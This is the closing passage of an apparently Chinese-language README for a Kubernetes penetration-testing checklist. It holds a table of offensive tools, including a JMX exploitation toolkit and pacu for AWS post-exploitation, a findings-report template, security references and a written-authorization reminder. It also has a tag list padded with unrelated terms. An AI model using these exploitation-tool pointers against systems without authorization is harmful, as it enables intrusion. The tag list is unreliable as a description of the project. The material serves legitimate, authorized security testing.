| **JMX** | [Jolokia 工具包](https://github.com/laluka/jolokia-exploitation-toolkit) | HTTP JMX 漏洞利用 |
| **云** | [pacu](https://github.com/RhinoSecurityLabs/pacu) | AWS EKS 后渗透 |
## 📝 报告模板
为你的渗透测试报告使用以下结构:
```
## 发现: [标题]
**Severity:** Critical / High / Medium / Low
**CVSS Score:** X.X
**Affected Component:** [e.g., JMX port exposed on pod kafka-0]
### 描述
[Brief description of the vulnerability]
### 复现步骤
1. [Step 1]
2. [Step 2]
3. [Step 3 — include exact commands]
### 证据
[Screenshot / command output]
### 影响
[What an attacker can do with this vulnerability]
### 修复建议
[Specific, actionable fix]
### 参考文献
- [CVE link / documentation]
```
## 📚 参考文献
- [OWASP Kubernetes 安全测试指南](https://owasp.org/www-project-kubernetes-security-testing-guide/)
- [CIS Kubernetes 基准](https://www.cisecurity.org/benchmark/kubernetes)
-NSA/CISA Kubernetes 加固指南](https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF)
- [MITRE ATT&CK 容器矩阵](https://attack.mitre.org/matrices/enterprise/containers/)
- [攻击基于 RMI 的 JMX 服务 - MogwaiLabs](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
- [JMX 漏洞利用再探 - Code White](https://code-white.com/blog/2023-03-jmx-exploitation-revisited/)
- [beanshooter - JMX 枚举与攻击工具](https://github.com/qtc-de/beanshooter)
- [KubeCon 安全演讲 2024/2025](https://www.youtube.com/@cloudnativefdn)
- [PayloadsAllTheThings - Kubernetes](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Kubernetes%20Security.md)
**为安全社区而建。负责任地进行测试。始终获取书面授权。**
⭐ 如果它对你的工作有所帮助,请给本仓库点个 Star ⭐
*由安全专业人员维护,为安全专业人员服务。*
标签:AES-256, CISA项目, DevSecOps, JMX 漏洞利用, K8s 渗透测试, Kubernetes 安全, Kubernetes 渗透, Kubernetes 网络安全, Pandas, StruQ, Web截图, 上游代理, 威胁模拟, 子域名突变, 安全 checklist, 安全基线检查, 安全攻防, 容器安全, 密码管理, 应用安全, 插件系统, 攻击面分析, 模型鲁棒性, 渗透测试清单, 漏洞评估, 白盒/黑盒测试, 红队评估, 防御加固, 黑客技术